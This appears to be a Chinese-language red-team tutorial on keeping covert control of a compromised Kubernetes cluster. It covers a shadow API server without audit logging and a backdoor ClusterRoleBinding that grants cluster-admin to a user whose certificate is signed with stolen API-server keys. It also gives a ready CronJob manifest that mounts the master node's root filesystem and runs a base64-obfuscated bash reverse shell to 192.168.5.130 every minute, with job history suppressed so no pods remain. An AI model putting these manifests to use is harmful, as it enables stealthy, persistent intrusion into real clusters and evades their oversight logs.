# shadow api-server(个人感觉没什么用)

该技术由研究人员在 "RSAC 2020: Advanced Persistence Threats: The Future of Kubernetes Attacks" 提出,旨在创建一种针对 K8s 集群的隐蔽持续控制通道。

image-20220303165609002

该思路是创建一个具有 API Server 功能的 Pod,后续命令通过新的 "shadow api server" 下发。新的 api server 创建时可以开放更大权限,并放弃采集审计日志,且不影响原有 api-server 功能,日志不会被原有 api-server 记录,从而达到隐蔽性和持久控制目的。

执行这一思路的前提是已经拿到了 master node 的 create pod 权限

# 获取原有 api-server 的配置

kubectl get pod -n kube-system

image-20220303165709641

kubectl get pod kube-apiserver-master -n kube-system -o yaml

image-20220303165713246

# 修改配置,创建 shadow apiserver

首先删除以下键值

image-20220303165748439

其次修改
metadata.name、metadata.labels.component 即可。

最后就是修改配置,跟进要求进行修改,这里我没动原有配置。(因为 api-server 版本过高,导致无法添加 --inseureapi-server)

因为高版本 api-server 的不安全 port 也被弃用了,所以我感觉不出 shadowapi-server 有什么作用。

所以在这个版本的情况下,这个 api-server 可能唯一的作用就是弄了个副本,也许能够绕过一些拦截?比如安全软件只保护了原来的 api-server。

image-20220303165800478

# 盗取 api-server 证书,任意签发,设置 clusterrolebinding

主要原理是提前设置一个账号的 RBAC 权限,让这个账号具有所有权限。然后再盗取 api-server 的证书,这样我们就能够签发账号了。
其实本质上就是留后门账号。
具体实现可以看 k8s 用户的创建和 rbac 的权限设置。这里不赘述了。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: eviltest
subjects:
- apiGroup: rbac.authorization.k8s.io
  kind: User
  name: test
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin

# CronJob

常用命令:kubectl get cronjob

其实就类似 linux 中的计划任务,k8s 也是有计划任务的。

不过实际对抗过程中,虽然我们也会对恶意的 POD 和容器做一定的持久化,但是直接使用 CronJob 的概率却不高。在创建后门 POD 的时候,直接使用 restartPolicy: Always 就可以方便优雅的进行后门进程的重启和维持,所以对 CronJob 的需求反而没那么高。

这里设置了一个一分钟执行一次的计划任务,功能是创建一个挂载了宿主机根目录的容器,并且执行反弹 shell,这里我指定它的部署节点为 master,命名空间没设置,所以就是默认命名空间。

apiVersion: batch/v1
kind: CronJob
metadata:
  name: test-cronjob
spec:
  schedule: "*/1 * * * *"      # 参考定时计划任务(分时日月周)
  startingDeadlineSeconds: 15  # pod必须在规定时间后的15秒内开始执行,若超过该时间未执行,则任务将不运行,且标记失败    
  successfulJobsHistoryLimit: 0 #可以保留多少完成的Job,如果不设置,就会堆积很多pod,都设置为0,那么只有你开启nc监听它成功连上的时候才会有pod。其他时候是没有pod的
  failedJobsHistoryLimit: 0 #失败的一个都不留。
  jobTemplate:
    spec:
      template:
        metadata:
          labels:
            app: test-cronjob
        spec:
          nodeName: master #部署在master节点
          containers:
          - name: test-job
            image: ruyueattention/php:v1
            volumeMounts:
            - mountPath: /test #把系统的根目录挂载到容器的这个目录下
              name: test-volume
            command: ["bash", "-c"," {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTMwLzU0NzEgMD4mMQ==}|{base64,-d}|{bash,-i}"]
          volumes:
          - name: test-volume
            hostPath:
              path: /
          restartPolicy: OnFailure

image-20220303165914198